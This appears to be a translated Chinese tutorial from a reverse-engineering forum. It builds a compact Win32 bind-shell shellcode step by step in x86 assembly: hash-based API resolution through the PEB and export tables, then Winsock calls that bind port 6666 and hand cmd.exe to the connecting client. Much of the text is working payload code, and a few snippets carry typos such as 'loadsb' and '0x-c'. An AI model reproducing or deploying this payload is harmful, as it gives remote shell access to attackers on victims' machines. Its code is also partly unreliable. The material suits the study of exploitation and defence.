背景:
这篇文章描述了一次以尽可能小体积来实现一个WIN32 ShellCode的尝试,来完成一个通用的且有很多特性受限制的任务,试验的最终结果是一个绑定某端口的,没有空字符的('\0'),大小为191字节的服务器端ShellCode,同时过程也描述了写一个小型的ShellCode的通用方法。
体积对于ShellCode来说是非常重要的,因为当对已经编译好的二进制码来说,ShellCode可以利用的空间的大小是常常受到限制的。更小体积的代码比其它试验代码可以更保证执行成功,同时,每个多余的字节从代码裁剪后都将以指数的形式增加代码执行成功的可能性。
假定读者对于x86汇编代码有一定程度的理解。
介绍:
我们的ShellCode要完成的功能是:
1.绑定ShellCode到6666端口。
2.接受一个到ShellCode的连接请求。
3.释放所有资源,退出。
它必须支持Windows NT4, 2000, XP 和 2003系统,启动代码是:
void main()
{
unsigned char sc[256] = "";
strncpy(sc,
"shellcode goes here",
256);
__asm
{
lea eax, sc
push eax
ret
}
}
我们可以在代码中观察到此ShellCode将具有的一些特性:
ShellCode中不能包括任何空字符。
ShellCode必须从堆栈中运行。
启动程序中还没有初始化Winsock库。
我们假设eax指向了我们ShellCode起始位置。
最后的具体代码在文章的附录中。首先,我们说明在开始动手前的一些注意事项和最终具体代码的细节。
[1]写小体积的ShellCode的一些好主意:
首先,最常用的更可能小的构造ShellCode的方法是:
1.使用更短的机器指令
X86指令的长度是不一致的,并且有时同种功能的不同指令的长度差别是不可预料的,要先择尽量短小的指令,这里,我们将使用的最常用的单字节指令:
xchg eax, reg 交换eax与其它寄存器中的内容
lodsd/lodsb 装载由esi指向的双字/单字节到eax/al中,同时递增esi.
stosd/stosb 保存由edi指向的双字/单字节到eax/al中,同时递增edi.
pushad/popad 向/从堆栈中保存/恢复所有寄存器。
cdq 利用edx扩展eax为四字(八字节),当我们知道eax<0x80000000时,指令会将edx设置为0.
2.使用指令尽可能来完成多件事
有时我们可以将多件需要完成的事一次完成,例如以上的指令中stos可以替代xchg,lods
3.利用API规则
有时Windows API定义的参数可能是特定的类型或是特定的大小。但经验证明我们用许多方式传入的参数API函数都是可以接收的。例如:许多API函数需要一个结构体和表示结构体的大小的参数,只要简单的设置这个表示大小参数为足够大的值时,API函数都是可以正常工作的。这样,当我们知道在堆栈中已经存在一个任意的很大的数值时,我们可以利用API的这种包容性来避免为其专门指定一个精确的参数。
许多的API函数的多个参数可以接受空值,同时这些参数常常在参数列表的末尾,也被放置在堆栈的尾部。与多次将值为空的寄存压栈的方法相比,更好的方法是:我们可以首先清空堆栈的一大块空间为空值。在调用函数时,只压入非空的参数,依靠已经清空的堆栈空间来精巧的实现空值参数,当多次这样成功的调用函数后,最终代码量的减少是非常可观的。
当某Windows API需要一个很大的结构体做为参数时,我们也可以利用堆栈中的空间实现。我们时常发现这个单字节的指令"push esp"就可以传入一个有效的结构体参数。有些时候,API函数可以包容多个结构体空间重叠在一起,特别是当一个参数是输入参数,而另一个参数是输出参数时。
4.不要像程序员一样的思考问题
做为程序员,我们使用一种特定的,系统化的方式来利用堆栈工作,我们压入函数的参数,调用这个函数,可能还要调整堆栈的指针,最后还要保存/处理函数的输出。
而做为ShellCode的编写者,我们应该有更多的想象:
为了生成更小型的代码,我们可以设置某个寄存器保存已知数值,长期的为API函数传入参数,直到真正要使用这个寄存器为止。
可以使用在堆栈中已经存在的数据精巧的做为参数而不进行任何压栈操作。
如果我们已知合适的值在堆栈的上偏移处或下偏移处,可以只调整esp寄存器来使用它工作在正确的位置。
我们也可以使用另一种方式,就是堆栈的帧指针来关联到正确的参数或局部成员位置处。通常的编译器利用帧寄存器的方式不利于生成紧固的ShellCode代码,但在任何情况下帧指针寄存器是在多个API调用间用来保存信息的绝妙的方式(下面将会介绍)。
5.高效的使用寄存器
X386寄存器并不是被完全等效的实现,通常的指令只支持特定的寄存器,或对一些寄存器只支持局部操作(如al,dl)。这些不怎么被使用的寄存器己乎全部用来在API调用间保存数据(如:ebp,esi和edi,而其它的寄存器在特定的环境下也可以这样使用)。这种使用寄存器保存数据的方法和仅使用堆栈的保存数据方法相比可以大大的提高效率。
6.考虑使用编码或压缩
对于需要大于200或300字节空间的ShellCode来说,它最好先被有效的编码或压缩,编码的方式允许原始的代码包括空字符而且因此可以潜在的提高效能;比如可以通过把空字符和某一固定的常量(并不在代码中出现)相异或来消除空字符。
压缩的方式将原始代码缩短为更短小的体积。
利用这两种方式,最终的代码将由解码或解压缩子程序先生成原始代码再运行。考虑到实现一个合适的解压器或解码器的成本,这两种方式仅在ShellCode的原始代码的长度超过可以接受的长度时才有使用价值。
但当我们的代码有一些其它的限制时也会有这样的需求。比如,ShellCode代码只能包括阿拉伯字母时,这时,通常先不考虑这些限制而直接写出原始的ShellCode代码,然后再对其进行编码来满足要求,同时使以编码方式满足要求的自解码子程序做为最终的ShellCde的开始。
[2]定位Windows API函数
写出可运行在多版本Windows系统上的ShellCode的任务可以大体分为两个部分:
定位各个需要的函数
使用这些函数来完成需要的功能
在前面已经说明了缩减ShellCode代码体积的方法的大部分内容,虽然后面的内容也可能会附带一些有关的技巧。
我们的ShellCode需要的所有的函数是:
ws2_32.dll库:
WSAStartup-我们需要这个函数,因为运行环境还没有初始化Winsock功能库。
WSASocketA-用来生成一个套接字。
bind-用来将套接字绑定至一个本地端口。
listen-用来监听某个TCP套接字上的连接请求。
accept-用来接受一个独立的连接。
kernel32.dll
LoadLibrayA-因为我们需要装载ws2_32.dll。
CreateProcessA-用来生成一个接收客户端连接的命令行进程。
ExitProcess-当客户端连接成功后就完整的退出ShellCode进程。
为了定位这些需要的函数,我们要使用很规范的函数名散列的方法,搜索相关函数库的导出表找出名称与散列中的每个散列值匹配的函数,选择一个合适的散列算法可以大大的节省我们代码的体积。此散列算法需要满足的需求:
1.要定位的函数在相应库中不会发生冲突。
2.产生最少的满足条件的散列项。
3.需要用最短小的字节数来实现它。
4.保存散列的内存空间如果被执行,效果如同空操作。
5.保存散列的内存空间包括了在我们实际想执行的机器码。
对于需求1,我们可以进行各种优化达到我们需求。可以提供某种预定义的顺序来查找导出表中的函数,使其中第一个匹配的函数是正确的。包来包容函数散列表可能存在的冲突,
对于需求2,这里,我们假设8-bit长是散列表最优化的大小。kernel32.dll导出了超过900个函数,我们将仔细找出一种满足需求1的方法在最多只可以有256个表项的散列中找出正确函数。如果散列表整个内存空间的体积小于8-bit,把它们解码为可执行的形式必将引发一些系统消耗,这样做是不划算的。
对于需求3,我们需要记住使用X386机器码来实现同样效果的操作可以有多种大小不同的方式,例如,
右移cl 1或2 bit:
\xd0\xc1 ;rol cl, 1
\xc0\xc1\x02 ;rol cl, 2
\x66\xc1\xc1\x02 ;rol cx, 2
所以散列表函数执行大部分操作时都可以优选那些更加短小的机器码。
现在注意需求4和5,只要有可能,我们就要把我们的散列排列成与函数的被调用顺序相同的顺序。因为这样我们构造出的函数寻址表,可以利用很短的指令依顺序调用它们。
需求4的考虑在于,如果我们可以找到一个满足需求4的散列函数,那么我们可以正确的把我们的散列表放置在ShellCode的开始处。这就意味着启动程序中的eax将指向我们的散列表的开始,这种方法常常用在ShellCode的起始任务中需要调用某个散列表地址的情况下,这样就不需要那个跳转到散列表的指令。这样的代码运行时,在达到第一个有效的指令之前的所有指令将是无效果的,它们的执行不会带来任何不好的效果。
在考虑需求4之后,需求5的设计是更有意义的。我们将通过把ShellCode代码中要执行的指令与我们的散列表空间重叠的方法来保存空间。
有大量的潜在的散列算法是有效的,从它们之中找出合适的算法的最佳方法是使用程序化方式。我们写了一个快速的工具来动态的通过合适的X386指令(xor, add, rol, etc)构建不同的散列算法。然后,将测试每种算法找出对于我们需要定位的函数可产生8-bit散列值同时满足需求1和需求3的算法。这里,最后结果是6种不同的候选算法,它们都是由两个二字节的指令完成。下一步通过手动的检查来判断它们之中是否有满足需求4和5的算法,如果很幸运的有一种算法满足了需求4(它提供了一个无执行效果的散列内存空间),那么这时需求5也同时满足的可能性非常小,但我们也非常的希望它的出现。
当然,毫无疑问我们需要这个散列算法来工作在所有已经存在的基于NT内核的Windows系统上,可能将来版本的Windows的库文件会引入新的导出表使我们用到的函数重定位,导致现在的散列算法不匹配,如果是这样的,我们将需要再次查找可以工作在新平台下的合适算法。
最后我们选择的算法使用esi定位当前分析的函数名,edx被初始化为空值。
hash_loop:
lodsb ;装载下一个字符到al叠加esi
xor al, 0x71 ;用0x71异或当前字符
sub dl, al ;更新哈希表项当前字符
cmp al, 0x71 ;直到达到字符串末尾
jne hash_loop
这个散列算法输出的结果如下,结果表现出了空操作等效的特征:
0x55 ;LoadLibraryA ;pop ecx
0x81 ;CreateProcessA ;or ecx, 0x203062d3
0xc9 ;ExitProcess
0xd3 ;WSAStartup
0x62 ;WSASocketA
0x30 ;bind
0x20 ;listen
0x41 ;accept ;inc ecx
注意空操作等效特性是完全依赖于特定的环境的,比如是否需要关心无关寄存器的值,或者其它的附带不利效果。在这里的运行环境中,空操作等效特征关系到:保存eax寄存器中的数据(因为它指向了我们的散列表地址),不引用任何其它的寄存器(因为我们无法保证它指向了有效的内存空间),不会发生代码分支(jmp,retn,etc),以及不执行任何非法的,特权保护的,或其它有疑问的指令。
保证代码空操作等效特征的实现后,还要注意很常用的内容为"cmd"的字符串的分配,这个字符串将被正确的放置在散列表之后,我们需要它在代码中做为一个参数传入到CreateProcessA API函数中,来启动一个命令行进程。我们不需要包括".exe"后缀,同时这个参数是大小写不敏感的,结果为:
0x43 ;C ;inc ebx
0x4d :M ;dec ebp
0x64 ;d ;FS:
0x64这个机器码是一个指令前缀,它通知处理器在FS内存段的环境下译码尾随的指令。但对于大部分指令将是顺序执行的,这时这个前缀就是多余的,将被处理器忽略。
(另一个常用的技巧要把它牢记在脑子里,尾随"cmd"这个字符串的空间是可以被它破坏的(译者:我想是因为它正好是DWORD的长度吧)。所以,如果我们知道堆栈的顶部值为空的话,可以使用5个字节的指令"push 0x20646d63"来在堆栈中得到一个空结束字符串。
已经实现了优化散列算法的创意,下个任务是实现从散列值反解析函数地址的算法。有两种方式来达到目的:
1.我们可以在代码刚开始时解析全部的函数,保存它们的地址以备后用。
2.我们仅是在此函数被调用的时候才对其解析。
两种实现在不同的环境下都有相应的价值,在前面已经做出了选择。
我们决定在堆栈中刚好是ShellCode的开始(也即内存地址的低处)保存函数地址。因为我们在代码中只是通过调用ExitProcess来完全的退出,所以任何对堆栈内存空间破坏都不重要了。我们将在散列表空间前24(0x18)个字节保存解析后函数地址。这意味着解析后的地址将精巧的复写在散列表内存空间中,正好在"cmd"字符串之前。如同下面将看到的,我们保留一个正确指向"cmd"字符串的寄存器,可以用它来调用CreateProcessA。
我们将使用极具效率的指令 lodsb 和 stosd 来装载和保存地址,所以我们分别设置esi和edi到散列表的起始地址和函数地址保存区的起始地址。同时,如果eax寄存器保存了一个很小的数值(它指向的堆栈空间),最好使用单字节指令 cdq 来设置edx为0,我们将马上使用这个技巧:
cdq ;set edx = 0
xchg eax, esi ;esi = addr of first function hash
lea edi, [esi - 0x18] ;edi = addr to start writing function
我们要定位的函数在kernel32.dll和ws2_32.dll两个库中。因为后者没有被加载,我们需要先使用kernel32.dll,它被所有的 Windows 进程自动加载。我们使用非常标准的方式来得到kernel32.dll库的基地址,即定位PEB中的初始化库列表,再找出列表中第二项(它一直用做kernel32.dll)(参见附录)。
我们将循环执行散列解析代码8次,每次对应一个函数散列值。当kernel32.dll的导出函数被完全定位后,我们将使用LoadLibrary("ws2_32")和返回的ws2_32库的基地址来定位Winsock函数。之后,在调用WSAStartup函数时,我们还需要一个不可以被破坏的大的堆栈空间,用来写入一个WSADATA结构体。同时,我们还有一个方便使用的保存着空值的edx寄存器,用来有效的利用堆栈空间和指向字符串"ws2_32",用做函数参数。
mov dh, 0x03
sub esp, edx
mov dx, 0x3232
push edx
push 0x5f327377
push esp
我们的函数解析代码假设 ebp 一直保存着这个库的基地址,esi 指向下一个将被执行的散列值,同时 edi 指向下一个用来写入解析出的函数地址的位置。已经解决了加载散列表的问题,下个任务是找出函数导出表。
find_lib_functions:
loadsb ;load next hash into al
find_functions:
pushad ;保存所有寄器
mov eax, [ebp + 0x3c] ;eax = PE头的起始地址
mov ecx, [ebp + eax + 0x78] ;ecx = 导出表的相对偏移量
add ecx, ebp ;ecx = 寻出表的绝对地址
mov ebx, [ecx + 0x20] ;ebx = 名称表的相对地址
add ebx, ebp ;ebx = 名称表的绝对地址
xor edi, edi ;edi用来统计所有函数的数量
然后我们循环遍历所有的函数名,同时使用算法来计算相应的散列值。
next_function_loop:
inc edi ;累计函数总量
mov esi, [ebx + edi + 4] ;esi = 当前函数名的相对偏移量
add esi, ebp ;esi = 当前函数名的绝对偏移量
cdq
hash_loop:
lodsb ;装载下一个字符到al叠加esi
xor al, 0x71 ;用0x71异或当前字符
sub dl, al ;更新哈希表项当前字符
cmp al, 0x71 ;直到达到字符串末尾
jne hash_loop
我们比较计算出的每个函数名的散列值对应的散列表的项来解析函数地址,这里在使用pushad保存所有寄存器前先装载了eax。eax值从此被改变,所以我们可以比较计算出的散列值和eax的值,它保存在堆栈空间esp + 0x1c中。
cmp dl, [esp + 0x1c] ;比较请求的散列值(译者:我想这里的dl是eax吧)
jnz next_function_loop
在比较结果一致后,当我们退出next_function_loop循环,我们找出了正确的函数,它的索引号将保存在edi中,同时函数计数器累加。现在对于当前查找的函数的余下任务是使用索引号来找出函数的地址。
mov ebx, [ecx + 0x24] ;ebx = 序号表的相对地址
add ebx, ebp ;ebx = 序号表的绝对地址
mov dl, [ebx + 2 * edi] ;dl = 匹配函数的序列号
mov ebx, [ecx + 0x1c] ;ebx = 地址表的相对地址
add ebx, ebp ;ebx = 地址表的绝对地址
add ebp, [ebx + 4 * edi] ;将ebp值(模块的基地址)加上匹配函数的相对偏移量
现在在ebp就是被解析的函数的地址,这里想要此值保存在edi寄存器指向的地址为起始地址的空间中,在我们使用pushad指令保存所有的寄存器之前。我们可以使用stosd移动到这里,但是首先需要保存在edi中的原始地址。以下的代码不很规范但只用了4个字节的代码就可以正常工作。
xchg eax, ebp ;将函数的地址移至eax寄存器中
pop edi ;edi是使用pushad命令时最后压入栈中的寄存器
stosd ;将函数的地址写入edi
push edi ;恢复堆栈准备执行popad指令
我们现在已经完成了解析某个函数散列值的任务。我们需要恢复我们保存的寄存器,继续循环直到解析所有8个函数之后。最后一个函数地址将精确的重写在最后的函数散列,我们检测两个指针esi,edi是否相同来中止解析任务。
popad
cmp esi, edi
jne find_lib_functions
这就是我们完整的解析函数地址的情节。唯一没有完成的是当已经解析了散列表中开头的三个函数后从kernel32.dll切换到ws2_32.dll。为了实现这个功能,在find_functions之前即时加入如下代码:
cmp al, 0xd3 ;WSAStartup函数的散列值
jne find_functions
xchg eax, ebp ;保存当前的散列值
call [edi - 0xc] ;LoadLibraryA
xchg eax, ebp ;恢复当前散列值,同时更新ebp为ws2_32.dll的基地址。
;首先保存Winsock首地址
push edi ;函数
这时字符串“ws2_32”的指针仍然在堆栈的顶部,所以我们可以正确的调用LoadLibrayA函数。
在解析我们的所有函数的散列值后,下个任务就是开始调用Winsock函数,所以我们在堆栈中保存第一个Winsock函数的位置。上面的代码演示了单字节的指令“xchg eax, reg”对生成一个紧固的ShellCode代码是多么有效。
实现目标ShellCode
在使用任何函数前,我们需要通过调用WSAStartup函数初始化Winsock。调用解析函数地址时保存在堆栈中的函数地址,这些Winsock函数地址是以它被调用的顺序来保存的。因此,我们将把函数地址存储空间的首地址放置在esi中,在需要时使用lodsd/call eax来调用各个Winsock函数。
WSAStartup 用到了两个参数:
itn WSASTartup(
WORD wVersionRequested,
LPWSADATA lpWSAData
);
我们将使用堆栈来保存WSADATA数据结构。因为这个参数是输出参数,我们不需要初始化它-只要保证函数运行结果不会覆盖任何重要的数据就可以。我们的代码已经在堆栈中引入了足够的空间来保证将不会覆盖自身。
pop esi ;保存第一个Winsock函数地址的位置
push esp ;lpWSAData
push 0x02 ;wVersionRequested
Lodsd
call ;WSAStartup
WSAStartup返回0表示执行成功(如不成功,那么将不再存在代码可以运行的希望!)。所以可以通过判断我们的eax寄存器是否为空值,来执行多个必须的函数。字符串"cmd"在使用前需要保证它是空字符结束的。同时,其它的一些Winsock函数的参数可以为空值。我们将清空大块的堆栈空间为0。这样我们不做任何事就可以使用空值参数,我们也将使用清空后的堆栈来生成CreateProcessA函数需要的STARTUPINFO结构体。
mov byte ptr [esi + 0x13], al
lea ecx, [eax + 0x30]
mov edi, esp
rep stosd
下一步,WSASocket使用了6个参数:
SOCKET WSASocket(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
这个函数只需关心af,type和特殊类型的参数,因此只需要af在相应的位置输入2(AF_INET)和1(SOCK_STREAM)。我们将利用我们清空的堆栈为其它的参数提供0值。WSASocket返回一个套接字描述符,将被以后的Winsock函数所使用。我们把它保存在ebp中,ebp在任何API调用中都保证不会改变。
inc eax ;type = 1 (SOCK_STREAM) push eax
inc eax ;af = 2 (AF_INET)
push eax
lodsd
call eax ;WSASocketA
xchg ebp, eax ;在ebp中保存套接字描述符
下一步需要使我们的套接字监听客户端连接请求通过调用Winsock函数bind,它要求三个参数:
int bind(
SOCKET s,
const struct sockaddr *name,
int namelen
);
使用程序员的思考方式,我们将假设我们需要通过多件步骤来正确完成对bind函数调用。
1.生成并初始化一个sockaddr结构。
2.将sockaddr结构体的长度入栈。
3.将sockaddr结构体的指针入栈。
4.将套接字描述符入栈。
但其实我们只要对这些步骤做些小改动,就将得到更高的效率。首先,name参数指向的结构体的大部分的值可以设置为0-我们只需要关心开头的两个成员:
short sin_family;
u_short sin_port;
第二步,如前所述,这个namelen参数不需要精确的等于实际结构的长度-只要足够大就可以。因此,我们可以利用其他的数据区。在这里,对于以上两个成员,我们将使用双字 0x0a1a0002(其中的0x0a1a是6666,用做端口号,0x02表示AF_INET,地址族)。我们也将重用这个双字做为此结构体的长度值参数(它是足够大的)。我们将使用堆栈做为结构体,所以其余的成员都由清空后的堆栈空间自然的初始化为0。不巧的是我们下一步需要这个双字为空值,所以我们需要手动的维护它。
mov eax, 0x0a1aff02
xor ah, ah ;清除中间的ff
push eax ;length参数,同时也是结构体的头两个成员
push esp ;指向结构体
push ebp ;保存的套接字描述符
lodsd
call eax ;bind
余下的任务是通过接收客户端的连接生成本地套接字,通过调用listen和accept函数来完成。这两个函数声明为:
int listen(
SOCKET s,
int backlog
);
SOCKET accept(
SOCKET s,
struct sockaddr *addr,
int *addrlen
);
对于这两个函数,唯一必须给出的参数是我们保存的套接字描述符-其余的参数可以全部输入0。accept函数将返回一个新的套接字描述符,代表了相应的客户端连接。listen和bind 函数正好相反,返回0表示成功。实现这些功能,可以利用其它的技巧来减少我们的代码。我们可以使用一个循环来为三个函数输入这个通用的套接字参数,在accept返回非零值时中断这个循环。它非常好的展示了将调用函数地址以其调用顺序排列的优点。下面的代码中最后三条指令由循环替换为实际的函数:bind和它后面的两个函数。
call_loop:
push ebp ;保存套接字描述符
lodsb
call eax ;调用下个函数
test eax, eax ;bind 和 listen函数将返回0
;accept将返回实际的套接字描述符
jz call_loop
我们现在差不多可以结束整个工作了,我们已经接收一个客户端连接,现在只需要启动cmd.exe做为一个子进程,通知它使用客户端的套接字做为它的标准句柄,然后完整的退出进程。
CreateProcess要求10个参数,最关键的是我们使用STARTUPINFO结构体来指定客户端的套接字为子进程的标准句柄,和子进程文件名称字符串"cmd"。如同前面,大部分的STARTUPINFO结构体成员可以设置为0,所以我们使用清空的堆栈表示它们。我们需要设置STARTF_USESTDHANDLES标志符为真,然后拷贝我们的套接字描述符(仍然保存在eax寄存器中)到这个结构体成员hStdInput,hStdOutput, 和hStdErr中。(实际上,我们可以减少一个单字节代码来通过不设置stderr。但这里,我们使用一般的方式)。很容易实现这些操作:
;initialise a STARTUPINFO staructure at esp
inc byte ptr [esp + 0x2d] ;设置STARTF_USESTDHANDLES为真
sub edi, 0xfc ;将edi指向STARTUPINFO的成员
stosd ;设置客户端套接字为 stdin 句柄
stosd ;同样设置stdout
stosd ;同样设置stderr(可选)
然后我们只需简单的将相关的参数入栈,再调用CreateProcess函数,不需要更多的解释,尽量多讨论一些好技巧。已知我们的堆栈是清空的,所以使用单字节指令“pop eax”来得到一个空值寄存器更胜于使用两字节的指令“xor eax, eax”。需要使用PROCESSINFORMATION结构体传入一个输出参数,因为这时我们的堆栈将会很快的结束使用,所以最好还用堆栈来保存这个参数,它覆盖了STARTUPINFO结构(输入参数)。
pop eax ;设置eax为0 (STARTUPINFO 结构体现在esp + 4处)
push esp ;使用堆栈做为PROCESSINFORMATION结构体
;(STARTUPINFO现在已经被设置在esp中)
push esp ;STARTUPINFO结构体
push eax ;lpCurrentDirectory = NULL
push eax ;lpEnvironment = NULL
push eax ;dwCreationFlgs = NULL
push esp ;bInheritHandles = true
push eax ;lpThreadAttributes = NULL
push eax ;lpProcessAttributes = NULL
push esi ;lpCommandLine = “cmd”
push eax ;lpApplicationName = NULL
call [esi - 0x-c] ;CreateProcessA
我们的客户端现在已经做为一个命令行程序运行,然后完成我们的ShellCode仅有的任务就是完整的退出。
call [esi - 0x18] ;ExitProcess 文章中的术语:
ShellCode:可执行的机器码
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)